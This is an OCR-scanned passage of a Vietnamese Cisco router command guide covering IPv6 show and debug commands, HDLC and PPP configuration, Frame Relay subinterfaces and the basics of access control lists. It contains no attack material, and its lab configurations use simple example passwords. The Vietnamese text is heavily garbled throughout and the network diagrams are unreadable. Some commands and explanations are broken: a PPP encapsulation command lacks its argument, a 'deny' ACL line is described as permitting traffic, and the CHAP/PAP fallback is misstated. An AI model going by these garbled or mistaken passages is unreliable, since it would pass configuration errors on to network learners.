thdc dinh tuyén RIP tUr bang dinh tuyén
Ipv6, néu dudc cai dat, thi nhitrng route

nay s& nam trong bang dinh tuyén Ipvé.

Router#clear ipv6 route *

Xda toan bé cac route hoc dugc tur bang

dinh tuyén Ipv6.

Chu y: Xda toan bd cac route tlr bang
dinh tuyén s& dan dén kha ndng xu ly
CPU cua router sé tang lén vi bang dinh

tuyén s& dudc tinh todn dé xay dung lai.

Router#clear ipv6 route
2001:db8:c18:3::/64

Xo6a mot route da dudgc chi ra khoi bang
dinh tuyén cta Ipvé6.

Router#clear ipv6 traffic

Khdi tao lai b6 dém cua luu lugng Ipv6

Router#debug ipv6 packet

Hién thi cac thong diép debug clia cac goi
tin Ipv6.

Router#debug ipv6 rip

Hién thi cac théng diép debug cho qud
trinh dinh tuyén Ipv6 cua giao thdc RIP

Router#debug ipv6 routing

Hién thi théng diép debug cua nhiing
thong tin dinh tuyén cap nhat cta Ipvé

Router#show ipv6 interface

Hién thj trang thai cua céc interface da
dudgc cau hinh cho Ipve6.

Router#show ipv6 interface brief

Hién thi trang thai tdng quat cta nhitng
interface da dugc cdu hinh cho Ipv6.

Router#show ipv6 neighbors

Hién thi théng tin vé cac thiét bi hang

xo6m da cau hinh Ipv6.

Router#show ipv6 protocols

Hién thi cac tham s6 va trang thai hién
tai cla nhitng giao thirc dinh tuyén Ipv6

dang dudgc chay trén router.

Router#show ipv6 rip

Hién thi thong tin vé trang thai hién tai

cua tién trinh x& ly Ipv6 RIP.

Router#show ipv6 route

Hién thi bang dinh tuyé&n Ipv6 hién tai.

Router#show ipv6 route summary

Hién thi mot cach téng quan bang dinh

tuyén cua Ipv6.

Router#show ipv6 routers

Hién thi nhitng thdng tin quang ba da
dudc nhan tir nhitng router khac.
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Router#show ipv6 static

Hién thi duy nhat nhiing static route Ipv6
da dudc cai dat trong bang dinh tuyén.

Router#show ipv6 static
2001:db8:5555:0/16

Hién thi duy nh&t nhitng théng tin static
route cla route dd dugc chi dinh trong

cau lénh.

Router#show ipv6 static interface
serial 0/0

Hién thi duy nh&t nhitng thong tin static
route vdi interface da dugc chi ra trong

cau lénh.

Router# show ipv6 static detail

Hién thi cac théng tin chi tiét cta toan bd
cac route static Ipv6.

Router#show ipv6 traffic

Hién thi trang thai cla cac Iluu Iugng
Ipv6.

Router#show ipv6 tunnel

Hién thi nhitng thdng tin vé Tunnel.

8. Cau lénh Ping trong Ipv6

- D& kiém tra két ndi mang vdi dia chi Ipv6, ban cé thé dung céu Iénh nhu trong vi du sau:

Router#ping ipv6 2001:db8::3/64

- Nhitng ky tu sau cé thé hién thi dé biéu dién két qua khi sir dung cau lénh Ping trong

Ipv6.
Ky tu Mo ta

! MOi ky tu cua dau ! chi ra mot géi tin dudc nhan lai tur dich.
Moi ky tu ctia ddu . biéu thj dich dang bj time oute trong khi chd&
dugc tra |4i.

? Loi khéng dudc xac dinh.

@ Khong xac dinh dugc ly do cho 10i khéng két nGi dugc dich.

A Goéi tin da bi khda bdi ACL.

B Goi tin qua Idn.

H Host unreachable.

N Network unreachble

P Port unreachble.

R Prameter problem.

T Time exceeded.

u Khong cé dudng di dén host.
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Phan VIII: WAN

Chuang 23: HDLC va PPP
Chuadng 24: Frame Relay

Chucng 23: HDLC va PPP

Chuadng nay sé cung cap nhitng théng tin va cac cau Iénh c6 lién quan dén nhitng chu dé

sau:

- Cau hinh HDLC encapsulation trén mét dudng Serial

- C&u hinh PPP trén mdt dudng serial (cac cdu l1énh bat budc)

- Cau hinh PPP trén mot dudng serial (cac cau Iénh tuy chon), bao gbm nhitng cau Iénh

trong nhitng phan sau:
+ Compression
+ Link quality
+ Multilink
+ Authentication
- Kiém tra hodc xur ly 16i véi PPP encapsulation

- Cau hinh vi du: PPP

1. Cau hinh HDLC encapsulation trén mot dudng serial

Router#configure terminal

Chuyén cdu hinh vao ch& ddé Global

Configuration.

Router(config) #interface serial
0/0/0

Chuyén cdu hinh vao ché& dd Interface
s0/0/0.

Router(config-if) #encapsulation
hdic

C&u hinh ché d6 déng goi dir liéu cho
interface la HDLC.

* Cha y: HDLC la giao thifc déng géi dit liéu mac dinh cho cac lién két dong bo serial trén

cac Cisco Router. Ban s& duy nhét st dung ciu I1énh encapsulation hdlc dé trg vé trang

thai mac dinh cho lién két.

2. C4u hinh PPP trén mot dudng serial (cac céu Iénh bat budc)

Router#configure terminal

Chuyén cdu hinh vao ché dbé Global

Configuration.

Router(config) #interface serial
0/0/0

Chuyé&n cdu hinh vao ché& dd interface
s0/0/0.

Router(config-if)#encapsulation

Thay d6i giao thic déng géi dir liéu tur
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pPPP mac dinh l1a HDLC thanh PPP.

* Cha y: ban sé phai thuc thi cdu Iénh encapsulation ppp trén ca hai side clia dudng

serial thi lién k&t d6 méi c6 thé hoat déng.

3. Cau hinh PPP trén mot dudng serial (cac cau Iénh tuy chon)

Router(config-if)#compress Cho phép sir dung thuat toan nén dit liéu

Predictor . s e A N
predictor khi di liéu dugdc truyén qua
dudng serial.

Router(config-if)#compress stac Cho phép st dung thuét toan stac dé nén

dir liéu khi dr liéu dugc truyén qua

dudng serial.

4. Cau hinh PPP trén dudng serial: Link Quality
Router(config-if)#ppp quality x Dam bao rang bdng théng cua dudng

serial dat gia tri lIa x %. Néu khong dat
dugc gia tri nay, thi lién két sé bi shut

down.

5. Cau hinh PPP trén dudng serial: Multilink
Router(config-if) #ppp multilink Cho phép dir liéu cd thé dudc chia tai

théng qua nhiéu dudng lién két.

6. Cau hinh PPP trén dudng serial: Authentication

Router(config)#username routerb Tao mot username la routerb va mot mat
password cisco kh&u 13 cisco cho quéa trinh xac thuc tir
nhitng side khac cua dudng serial. Thong
tin nay sé dudc s dung bdi local router

dé xac thuc PPP peer.

Router(config) #interface serial Chuyén cau hinh vao ché do interface
0/0/0 50/0/0.
Router(config-if)#ppp Bat phudng phap xac thuc Password

authentication pap Authenticaiton Protocol (PAP) duy nhét

Router(config-if)# ppp Bat phucong phap xac thuc Challenge
authentication chap Handshake Authentication Protocol
(CHAP) duy nhat.

Router(config-if)# ppp Cho phép dudng lién két serial sé sir
authentication pap chap dung PAP dé€ xac thuc, nhung CHAP sé&

dudc st dung néu PAP bi I16i hodc khong

xac thuc thanh cong.

Router(config-if)# ppp Cho phép dudng lién két serial sé sir
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authentication chap pap

dung CHAP dé& xac thuc, nhung PAP sé&
dudc st dung néu PAP bi 16i hodc khong

xac thuc thanh cong.

Router(config-if)#ppp pap
sentusername
routerb password cisco

Cau |énh s& phai dugc s dung dé cau
hinh néu s dung PAP trong cac phién
ban phan mém Cisco IOS Release 11.1
trgd vé trudc.

r* Chd y: Trong qua trinh cdu hinh xac thuc, ban phai chdc chdn rang username clua ban sé

phai tuong ('ng véi tén cua router trén side khac clia dudng lién ké&t, va mat khau trén mdi

router c6 thé khac nhau. Théng tin Username va password 1a nhitng thdng tin nhay cam.

Cac ban c6 thé nhin vao vi du sau:

Edmonton(config) #username Calgary
password cisco

Calgary(config)#username Edmonton
password cisco

Edmonton(config)#interface serial
0/0/0

Calgary(config)#interface serial
0/0/0

Edmonton(config-if)#encapsulation
Ppp

Calgary(config-if)#encapsulation
Ppp

Edmonton(config-if)#ppp
authentication chap

Calgary(config-if) # ppp
authentication chap

* Chu y: BG&i vi giao thirc xac thuc PAP s& khdng cho phép ma héa théng tin mat khdu khi

dudgc gui trén dudng lién két, vi vay ban nén sir dung CHAP cho qua trinh xac thuc nay.

7. Kiém tra hodc X ly 16i c&u hinh PPP

Router#show interfaces serial x

Hién thi nhitng thdng tin cho interface

serial x

Router#show controllers serial x

Dua vao théng tin hién thi tir cdu Iénh
nay ban cé thé xac dinh dugc loai cap
(DCE/DTE) dang dudc si dung d& cdm

vao interface cla ban.

Router#debug serial interface

Hién thi bd dém keepalive cua serial

dang tang dan.

Router#debug ppp

Hién thi cac luu lugng cé lién quan dén
giao thurc PPP

Router#debug ppp packet

Hién thi cac géi tin PPP dugc nhan vao
gui.

Router#debug ppp negotiation

Hién thi cac godi tin PPP cé lién quan dén
qua trinh thudng lugng caa lién két PPP.

Router#debug ppp error

Hién thi cac géi tin PPP bi 10i.

Router#debug ppp authentication

Hién thi cac gdi tin cd lién quan dén qua
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trinh xac thuc caa lién két PPP.

Router#debug ppp compression

Hién thi cac goi tin PPP cé lién quan dén
cac goéi tin dugc nén khi truyén qua
dudng lién két.

8. Cau hinh vi du: PPP

- Hinh 23-1 la s¢ d6 mang dugc s dung cho vi du cdu hinh PPP, nhitng cau Iénh dugc s

dung trong vi du cdu hinh PPP nay s& nam trong pham vi cla chuong nay.

Hinh 23-1

172161010 17218404

Metwork 172.16.20.0/24

L 5Buﬁalo-2

1?2 16204
= = isoston.zgm

Metwork 172.16.20.0/30

172163030

o {601 = || I
- S

Network 172.16.30.0/24

* Cha y: host name, password, va cac interface dudc coi nhu da cdu hinh trong nhitng vi

du cua Chuang 6.

Boston Router

Boston>enable

Chuyén cau hinh vao ché dé Privileged

Boston#configure terminal

Chuyén cdu hinh vao ché ddé Global
Configuration.

Boston(config)#username Buffalo
password academy

Cau hinh  mot local username va

password cho qua trinh xac thuc PPP

Boston(config-if) #interface serial
0/0/0

Chuyén cdu hinh vao ché& dd interface
s0/0/0

Boston(config-if) #description Link
to Buffalo Router

Pat 16i mo ta cho interface.

Boston(config-if)#ip address
172.16.20.1 255.255.255.252

Gan dia chi IP va subnet mask cho

interface.

Boston(config-if)#clock rate 56000

Gan gia tri Clock rate cho interface.

Boston(config-if) #encapsulation
Ppp

Bat phudng phap dong gdéi dir liéu trén
dudng lién két serial la PPP.

Boston(config-if)#ppp
authentication chap

Cho phép s dung giao thic CHAP dé
thuc hién qua trinh xac thuc.

Boston(config-if)#no shutdown

Bat interface.

Boston(config-if) # exit

Trd vé ché do cau hinh Global
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Configuration.

Boston(config) #exit Tra vé ché do Privielged.
Boston#copy running-config Luu file cau hinh dang chay trén RAM vao
startup-config NVRAM.

Buffalo Router
Buffalo>enable Chuyén cdu hinh vao ché dé Privileged
Buffalo#configure terminal Chuyén cdu hinh vao ché dd Global

Configuration.

Buffalo(config)#username Boston Tao mot local username va password

password academy dugc s dung trong qua trinh xac thuc

PPP.
Buffalo(config-if) #interface Chuyén cdu hinh vao ché& dd interface
serial 0/0/1 $0/0/1.
Buffalo(config-if)#description bat IGi mo ta cho interface.
Link to Boston Router
Buffalo(config-if)#ip address Gan dia chi IP va subnet mask cho
172.16.20.2 255.255.255.252 .

interface.
Buffalo(config-if) #encapsulation S dung giao thirc PPP dé& doéng gdi dir
Ppp liéu trén dudng truyén serial.
Buffalo(config-if)#ppp Cho phép xac thuc bang CHAP.
authentication chap
Buffalo(config-if)#no shutdown Bat interface.
Buffalo(config-if)# ctrl - z Tra vé ché do Privileged.
Buffalo#copy running-config Luu file cdu hinh dang chay trén RAM vao

startup-config NVRAM

Chuong 24: Frame Relay

Chuang nay sé cung cap nhifng théng tin va cac cau Iénh co lién quan dén nhitng chu dé
sau:
- Cau hinh Frame Relay:

+ C4u hinh giao thirc dong géi clia Frame Relay

+ C4au hinh giao thirc dong géi LMI ciia Frame Relay

+ Cau hinh chi s6 Frame Relay DLCI

+ C4u hinh mét cau lIénh Frame Relay map

+ C&u hinh I8i m6 ta cla mot interface (tuy chon)

+ C4u hinh Frame Relay s dung Subinterfaces
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- Kiém tra Frame Relay
- XU ly 16i v@i Frame Relay
- Cau hinh vi du: Frame Relay

I. C4u hinh Frame Relay
1. Cau hinh giao thirc déng goi ciia Frame Relay

Router(config) #interface serial Chuyén cdu hinh vao ché dd interface
0/0/0 s0/0/0.
Router(config-if)#encapsulation Cho phép s dung Frame Relay dé doéng

frame-relay goi dif liéu véi giao thirc ddng goéi méc dinh

cla cisco.

Hoac

Router(config-if)#encapsulation Cho phép s dung Frame Relay dé doéng
frame-relay ietf goi dit liéu véi giao thirc déng gdéi 13 ietf
(RFC 1490). SU dung giao thdc dong goi
IETF trong truong hdp két nGi dén mot

router khong phai la cta Cisco

2. C4u hinh giao thirc déng géi LMI ciia Frame Relay

Router(config-if)#frame-relay Phu thubc vao tuy chon ma ban lua chon
Imitype P A A , P
{ansi | cisco | q933a} cau hinh, cau lénh dugc su dung dé cau
hinh loai LMI 1a chudn ANSI, chuén Cisco,

hodc chudn ITU-T Q.933 Annex A.

* Chu y: TU phién ban phan mém Cisco IOS 11.2 trg Ién, thi loai LMI nay sé tu dong dudc

xac dinh, cau lénh trén chi la mo6t tuy chon.

3. Cau hinh chi s6 Frame Relay DLCI

Router(config-if) #frame-relay Gan gia tri DLCI la 110 trén interface cuc

interface-dlci 110 bb va chuyén vao ch& dd cdu hinh Frame

Relay DLCI
Router(config-fr-dlci) #exit Trd vé ché do cau hinh interface.
Router(config-if) # exit Trd vé ché do cdu hinh Global

Configuration.

Router(config) #

4. Cau hinh moét cau lénh Frame Relay map

Router(config-if) #frame-relay map Anh xa gitta mot dia chi IP remote
ip 192.168.100.1 110 broadcast (192.168.100.1) v6i mot gid tri DLCI
local (110).
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Router(config-if)#no frame-relay Tat giao thic Inverse ARP.
inverse arp

* Chu y: cac router cua Cisco co6 giao thiic Inverse Address Resolution Protocol (IARP) dudgc
chay mac dinh. Khi giao thirc nay dudc chay trén cac router thi s¢ d6 anh xa gilta moét dia
chi IP remote vd&i mot gia tri DLCI local sé dugc xay dung tu dong. NEu router remote
khong hd trg IARP, hodc ban mudn diéu khién cac luu lugng broadcast trén mot PVC, ban
s& phai nhép tinh so d6 anh xa giilta DLCI va dia chi IP, déng thdi ban can phai tat giao thic
IARP.

- Ban can phai sr dung cau Iénh no frame-relay inverse-arp trudc khi dua ra cau Iénh no

shutdown.

5. Cau hinh mo ta cho interface (tuy chon)

Router(config-if)#description Cau Iénh la tluy chon d& cho phép ban

Connection to the Branch office nhap thém thong tin vé interface nay.

6. Cau hinh Frame Relay sir dung Subinterfaces
- Subinterface cho phép ban cé thé giadi quyét dugc,su anh hudng cua split-horizon va dé
tao nhiéu PVC trén mét interface vat ly duy nhat d& két n6i dén ddm may Frame Relay cua

nha cung cap dich vu.

Router(config) #interface serial Chuyén cdu hinh vao ché& dé interface
0/0/0 50/0/0
Router(config-if)#encapsulation Cau hinh giao thic déng goéi ciia Frame

frame-relay letf relay cho tdt ca cac subinterface trén

interface vat ly nay.

Router(config-if) #frame-relay Cau hinh loai LMI cho tat cad cac

Imi-type ansi subinterface trén interface vat ly nay.

Router(config-if)#no ip address Chac chan rang khong cé dia chi IP dugc
gan cho interface nay.

Router(config-if)#no shutdown Bat interface.

Router(config-if) #interface Tao mot subinterface point-to-point cé

serial 0/0/0.102 point-to-point chi 8 13 102

Router(config-subif) #ip address Gan dia chi IP va subnet mask cho

192.168.10.1 255.255.255.0 subinterface.

Router(config-subif) #frame-relay Gan mot gia tri DLCI cho subinterface
interface-dici 102

Router(config-subif) #interface Tao mot subinterface point-to-point cé
serial 0/0/0.103 point-to-point chi s& 13 103

Router(config-subif) #ip address Gan mot dia chi IP va subnet mask cho

192.168.20.1 255.255.255.0 subinterface.

Router(config-subif) #frame-relay Gan mot gia tri DLCI cho subinterface
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interface-dici 103

nay.

Router(config-subif) #exit

Trd vé ché do cau hinh interface.

Router(config-if) #exit

Trd vé ché d0 cdu hinh Global

Configuration.

Router(config) #

* Chu y: C6 hai loai subinterface:

- Point-to-Point, trong dé c6 moét PVC dudc st dung dé két ndi dén mot router khac va mdi

subinterface la mot dai dia chi mang riéng.

- Multipoint, trong dd router 1a diém trung cta mdt nhdm céc router khac. T4t ca céc router

két nGi dén router khac théng qua router nay, va tét ca cac router nam trong cung mot dai

dia chi mang.

- S dung cau lénh no ip split-horizon dé tat split-horizon trén céc interface multipoint.

7. Kiém tra Frame Relay

Router#show frame-relay map

Hién thi bang sc d6 anh xa IP/DLCI

Router#show frame-relay pvc

Hién thi trang thai clda tat ca cac PVC da

dugc cau hinh.

Router#show frame-relay Imi

Hién thi trang thai cta LMI

Router#clear frame-relay counters

Khai tao lai tat ca cac bd dém cla Frame

Relay

Router#clear frame-relay inarp

Xba tat ca bang sd do anh xa dugc xay
dung tUr giao thirc IARP.

* Chu y: Néu sir dung cau lénh clear frame-relay inarp ma khong thuc su x6a dudc bang

sd d6 anh xa DLCI/IP clia Frame Relay thi ban can phai thuc hién khgi dong lai router.

8. Xt ly 16i véi Frame Relay

Router#debug frame-relay Imi

Pudgc s dung dé xac dinh qud trinh trao
ddi cac goi tin LMI trén mét router da ciu

hinh Frame Relay.

9. Cau hinh vi du: Frame Relay

- Hinh 24-1 13 sd d6 mang dugc s dung dé& cdu hinh vi du Frame Relay, nhitng ciu lénh

thuc thi trong vi du nay s& ndm trong pham vi cla chuang nay.
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Hinh 24-1

192.168.20.0/24

dmong
s0/0/0.29 | s0/000.12
192 168.3.1 192,168.1.1
21 | 12
> 1/1 *
Atlas Port
FRAME RELAY
(Atlas 550)
Atlas Port Atlas Port
L 21 i—r_.. 12 -—
11 | 12 21 | 11
s0/0/0. 14 | s0/0m0, 12 50000, 24 s0/000. 14
192168.32 | | 19216841 19216842 | 192.168.1.2
! Catga [_Winﬂipy

‘ fali

192.168.40.0/24

falv ‘

192.168.30.0724

* Cha y : Trong sa dd trén s dung thiét bi Adtran Atlas 550 d€ gia lap 1a ddm may Frame
Relay. Ba port vat ly (1/1, 2/1, 2/2) dudc st dung dé két nSi dén ba thiét bi ¢ 3 thanh phé.

Edmonton Router

router>enable

Chuyén céu hinh vao ché& dd Privileged

router#configure terminal

Chuyén cdu hinh vao ch& ddé Global

Configuration.

router(config)#host Edmonton

bat tén router la Edmonton

Edmonton(config)#no ip domainlookup

Tat tinh nang phén dai cau Iénh khi ngudi
dung nhap sai.

Edmonton(config) #enable secret
Cisco

Dat mat khau enable secret 1a cisco.

Edmonton(config)#line console 0

Chuyén cau hinh vao ché& dd Line console

Edmonton(config-line)#login

Cho phép router yéu cau ngudi dung xac

thuc khi truy cap router thong qua port
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console.

Edmonton(config-line) # password
Class

P&t mat kh&u truy cap console 1a Class

Edmonton(config-line)#logging
Synchronous

Khéng cho phép ngat ciu Iénh khi céc
théng diép loggin hién thi trén man hinh

console.

Edmonton(config-line) #exit

Trd vé ché d6 Global Configuration

Edmonton(config) #interface
fastethernet 0/0

Chuyén cdu hinh vao ché& dd interface
fa0/0.

Edmonton(config-if)#ip address
192.168.20.1 255.255.255.0

Gan dia chi IP va subnet mask cho
interface fa0/0.

Edmonton(config-if)#no shutdown

Bat interface.

Edmonton(config-if) #interface
serial 0/0/0

Chuyén cdu hinh vao ché dé interface
s0/0/0.

Edmonton(config-if)#encapsulation
frame-relay

Cho phép déng gdéi dir liéu bang giao
thirc Frame Relay.

Edmonton(config-if)#no shutdown

Bat interface.

Edmonton(config-if) #interface
serial 0/0/0.12 point-to-point

Tao subinterface loai poin — to —point vdi

chiséla 12.

Edmonton(configsubif) #
description link to
Winnipeg router DLCI 12

Cau hinh mo ta cho subinterface.

Edmonton(config-subif)#ip address
192.168.1.1 255.255.255.0

Gan dia chi IP va subnet mask cho

subinterface.

Edmonton(config-subif) #framerelay
interface-dlci 12 point-topoint

Gan gia tri DLCI local cho interface.

Edmonton(config-subif) #interface
serial 0/0/0.21

Tao subinterface vdi chi s6 la 21.

Edmonton(configsubif) #
description link to Calgary
router DLCI 21

Cau hinh mo ta cho subinterface.

Edmonton(config-subif) #ip address
192.168.3.1 255.255.255.0

Gan dia chi IP va subnet mask cho

subinterface.

Edmonton(config-subif) #framerelay
interface dici 21

Gan gia tri DLCI local cho subinterface.

Edmonton(config-subif) #exit

Trd vé ché do interface configuration.

Edmonton(config-if) #exit

Trd vé ché dé Global Configuration.

Edmonton(config) #router eigrp 100

Cho phép router chay giao thic dinh
tuyén EIGRP véi AS la 100

Edmonton(config-router)#network
192.168.1.0

Quang ba mang két ndéi truc tiép vao

interface cta router.

Edmonton(config-router)#network
192.168.3.0

Quang ba mang két ndéi truc ti€p vao

interface cua router.

Edmonton(config-router)#network
192.168.20.0

Quang ba mang két ndi truc ti€p vao
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interface cla router.

Edmonton(config-router)# ctrl - z

Tra vé ché do Privileged.

Edmonton#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.

Winnipeg Router

router>enable

Chuyén cdu hinh vao ché dé Privileged

router#configure terminal

Chuyén cdu hinh vao ché dd Global

Configuration.

router(config)#host Winnipeg

bat tén router la Winnipeg

Winnipeg(config)#no ip domainlookup

Tat tinh nang phén dai cau Iénh khi ngudi

dung nhap sai.

Winnipeg(config)#enable secret
Cisco

Dat mat kh&u enable secret 1a cisco.

Winnipeg(config)#line console 0

Chuyén cdu hinh vao ché& dé Line console

Winnipeg(config-line)#login

Cho phép router yéu cau ngudi dung xac
thuc khi truy cap router thong qua port

console.

Winnipeg(config-line) # password
Class

P&t méat khéu truy cép console la Class

Winnipeg(config-line)#logging
Synchronous

Khdéng cho phép ngat cadu Iénh khi cac
théng diép loggin hién thi trén man hinh

console.

Winnipeg(config-line) #exit

Trd vé ché do Global Configuration

Winnipeg(config)#interface
fastethernet 0/0

Chuyén cdu hinh vao ché dd interface
fa0/0.

Winnipeg(config-if)#ip address
192.168.30.1 255.255.255.0

Gan dia chi IP va subnet mask cho
interface fa0/0.

Winnipeg(config-if)#no shutdown

Bat interface.

Winnipeg(config-if)#interface
serial 0/0/0

Chuyén cdu hinh vao ché dd interface
s0/0/0.

Winnipeg(config-if)#encapsulation
frame-relay

Cho phép déng gdéi dif liéu bang giao
thdc Frame Relay.

Winnipeg(config-if)#no shutdown

Bat interface.

Winnipeg(config-if) #interface
serial 0/0/0.11 point-to-point

Tao subinterface loai poin — to —point vdi

chi so la 11.

Winnipeg(configsubif) #
description link to
Edmonton router DLCI 11

Cau hinh mo ta cho subinterface.

Winnipeg(config-subif)#ip address
192.168.1.2 255.255.255.0

Gan dia chi IP va subnet mask cho

subinterface.
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Winnipeg(config-subif)#framerelay Gan gia tri DLCI local cho interface.
interface-dici 11

Winnipeg(config-subif)#interface Tao subinterface v@i chi s6 la 21.
s 0/0.21 point-to-point
Winnipeg(configsubif)# Cau hinh mo ta cho subinterface.

description link to Calgary
router DLCI 21

Winnipeg(config-subif)#ip address Gan dia chi IP va subnet mask cho
192.168.4.2 255.255.255.0

subinterface.

Winnipeg(config-subif)#framerelay Gan gid tri DLCI local cho subinterface.
interface-dici 21
Winnipeg(config-subif) #exit Trd vé ché do interface configuration.
Winnipeg(config-if) #exit Trd vé ché dé Global Configuration.
Winnipeg(config) #router eigrp 100 Cho phép router chay giao thic dinh

tuyén EIGRP vdi AS la 100
Winnipeg(config-router)#network Quang ba mang két ndéi truc ti€p vao
192.168.1.0 . ,

interface cua router.
Winnipeg(config-router)#network Quang ba mang két ndéi truc ti€p vao
192.168.4.0 . ,

interface cua router.
Winnipeg(config-router) #network Quang ba mang két ndi truc ti€p vao
192.168.30.0 . N

interface cua router.
Winnipeg(config-router)# ctrl -z Trd& vé ché do6 Privileged.
Winnipeg#copy running-config Luu file cdu hinh dang chay trén RAM vao
startup-config NVRAM.

Calgary Router

router>enable Chuyén cau hinh vao ché dé Privileged
router#configure terminal Chuyén cdu hinh vao ch& ddé Global

Configuration.

router(config)#host Calgary bat tén router la Calgary

Calgary(config)#no ip domainlookup Tat tinh nang phén dai cau Iénh khi ngudi

dung nhap sai.

Calgary(config)#enable secret D3t mat khiu enable secret 1a cisco.
Cisco

Calgary(config)#line console 0 Chuyén c4u hinh vao ché& dd Line console
Calgary(config-line)#login Cho phép router yéu cau ngudi dung xac

thuc khi truy cap router thong qua port

console.
Calgary(config-line)# password P&t mat khau truy cap console Ia Class
Class
Calgary(config-line)#logging Khong cho phép ngat cau Iénh khi cac
Synchronous

théng diép loggin hién thi trén man hinh

console.

169



Calgary(config-line) #exit

Tra vé ché do Global Configuration

Calgary(config) #interface
fastethernet 0/0

Chuyén cdu hinh vao ché dd interface
fa0/0.

Calgary(config-if)#ip address
192.168.40.1 255.255.255.0

Gan dia chi IP va subnet mask cho
interface fa0/0.

Calgary(config-if)#no shutdown

Bat interface.

Calgary(config-if) #interface
serial 0/0/0

Chuyén cdu hinh vao ché dd interface
s0/0/0.

Calgary(config-if)#encapsulation
frame-relay

Cho phép déng gdéi dif liéu bang giao
thdc Frame Relay.

Calgary(config-if)#no shutdown

Bat interface.

Calgary(config-if)#int s0/0/0.11
point-to-point

Tao subinterface loai poin - to —point véi
chisdla 11.

Calgary(config-subif)#description
link to Edmonton router DLCI 11

Cau hinh mo ta cho subinterface.

Calgary(config-subif)#ip address
192.168.3.2 255.255.255.0

Gan dia chi IP va subnet mask cho

subinterface.

Calgary(config-subif) #frame-relay
interface-dici 11 point-to-point

Gan gia tri DLCI local cho interface.

Calgary(config-subif) #interface
serial 0/0/0.12

Tao subinterface v@i chi s6 la 12.

Calgary(config-subif)#description
link to Winnipeg router DLCI 12

Cau hinh mo ta cho subinterface.

Calgary(config-subif)#ip address
192.168.4.1 255.255.255.0

Gan dia chi IP va subnet mask cho

subinterface.

Calgary(config-subif) #frame-relay
interface-dici 12

Gan gia tri DLCI local cho subinterface.

Calgary(config-subif)#exit

Trd& vé ché do interface configuration.

Calgary(config-if) #exit

Trd vé ché do Global Configuration.

Calgary(config)#router eigrp 100

Cho phép router chay giao thic dinh
tuyén EIGRP vdi AS la 100

Calgary(config-router)#network
192.168.3.0

Quang ba mang két ndi truc ti€p vao

interface cua router.

Calgary(config-router)#network
192.168.4.0

Quang ba mang két ndi truc ti€p vao

interface cla router.

Calgary(config-router)#network
192.168.40.0

Quang ba mang két ndéi truc ti€p vao

interface cua router.

Calgary(config-router)# ctrl -z

Trd vé ché do Privileged.

Calgary#copy running-config
startup-config

Luu file cadu hinh dang chay trén RAM vao
NVRAM.
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Phan IX: BAO MAT MANG
Chuang 25: Access Control List

Chuong 25: Access Control List

Chuadng nay sé€ cung cap nhitng thoéng tin va cac cau lénh cé lién quan dén nhitng chu dé

sau:
- Access List humber

- Cac tr khda ACL

- Tao ACL standard

- Gan ACL standard cho moét interface
- Kiém tra ACL

- Xdéa ACL

- Tao ACL extended

- Gan ACL extended cho moét interface
- TU khda established (tuy chon)

- Tao ACL named

- SUr dung sequence number trong ACL named

- Xba cau lénh trong ACL named s dung sequence number

- Chu y véi sequence number

- Tich hgp comments cho toan bo ACL

- S dung ACL dé€ han ché truy cép router thdng qua telnet

- Cau hinh vi du: ACL

1. Access List numbers

1-99 or 1300-1999

Standard IP

100-199 or 2000-2699

Extended IP

600-699 AppleTalk

800-899 IPX

900-999 Extended IPX

1000-1099 IPX Service Advertising Protocol

2. Cac tur khda ACL

Any

Pugc s dung dé thay thé cho 0.0.0.0

255.255.255.255, trudng hgp nay sé
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tuong Ung v@i tat cac dia chi ma ACL
thuc hién so sanh.

Host

Pugc s dung dé thay thé cho 0.0.0.0,
truong hgp sé tuong Ung vGi duy nhat
mot dia chi IP dudc chi ra.

3. Tao ACL Standard

Router(config)#access-list 10 permit
172.16.0.0 0.0.255.255

Tat ca cac géi tin cd dia chi IP ngudn la

172.16.x.x sé dudc phép truyén tiép.

access-list Cau lénh ACL.

10 Chi s6 nam trong khoang tur 1 dén 99,
hodc 1300 dén 1999, dugdc s dung cho
ACL standard.

Permit Cac géi tin tudng (ng véi cau lénh sé
dudgc cho phép.

172.16.0.0 Dbia chi IP nguon sé dugc so sanh.

0.0.255.255 Wildcard mask.

Router(config)#access-list 10 deny | Tat cd cac gdi tin cé dia chi IP ngudn la

2;;‘:17-0.1 172.17.0.1 sé& dugc phép truyén ti€p.

access-list Cau lénh ACL.

10 Chi s6 nam trong khoang tur 1 dén 99,
hodc 1300 dén 1999, dudc s dung cho
ACL standard.

Deny Cac goi tin tuong U'ng v@i cau Iénh sé bi
chan lai.

Host Tu khéa.

172.17.0.1 Chi ra dia chi cia mot host.

Router(config)#access-list 10 permit
any

Tat ca cac gdi tin cla tat ca cac mang sé

dugc phép truyén tiép.

access-list Cau lénh ACL.

10 Chi s6 nam trong khoang tur 1 dén 99,
hodc 1300 dén 1999, dugc sir dung cho
ACL standard.

Permit Cac gdi tin tudng (ng véi cau lénh sé
dudc cho phép.

any TU khda tuong Uing vdi tat ca cac dia chi

IP.
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4. Gan ACL Standard cho mot interface

Chuyé&n cdu hinh vao ché& dd interface
fa0/0.

Cau 1énh nay dugc sir dung d& gan ACL
10 vao interface fa0/0. Nhitng gdi tin di
vao router théng qua interface fa0/0 sé
dudc kiém tra.

Router(config) #interface fastethernet 0/0

Router(config-if)#ip access-group 10 in

* Cha y:

- Access list c6 thé& dugc gan vao interface theo ca hai huéng: hudng vao (dung tir khéa in)
va hudng ra (dung tir khda out).

- Gan mot ACL standard vao vi tri gan mang dich hodc thiét bi dich nhat.

5. Kiém tra ACL

Router#show ip interface

Hién thi tdt cad cdc ACL dudc gan vao

interface.

Router#show access-lists

Hién thi ndi dung cla tat ca cac ACL trén

router.

Router#show access-list access-list-

number

Hién thi ndi dung cua ACL cé chi s6 dudc

chi ra trong cau lénh.

Router#show access-list name

Hién thi ndi dung cua ACL cé tén dudc chi

ra trong cau lénh.

Router#show run

Hién thi file cdu hinh dang chay trén
RAM.

. Xéa ACL

Router(config)#no access-list 10

Xda bd ACL co chi so la 10.

7. Tao ACL Extended

Router(config)#access-list 110 permit
tcp

172.16.0.0 0.0.0.255 192.168.100.0
0.0.0.255

Cac goi tin HTTP c6 dia chi IP ngudn la
172.16.0.x sé dugc cho phép truyén dén
mang dich la 192.168.100.x

eq 80

access-list Cau lénh ACL.

110 Chi s6 ndm trong khoang tu 100 dén
199, hoac tl&r 2000 dén 2699 sé dudc su
dung dé tao ACL extended IP

Permit Nhitng géi tin tuong U'ng v@i cau lénh sé

dugc cho phép.
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Tcp Giao thirc sir dung sé phai la TCP

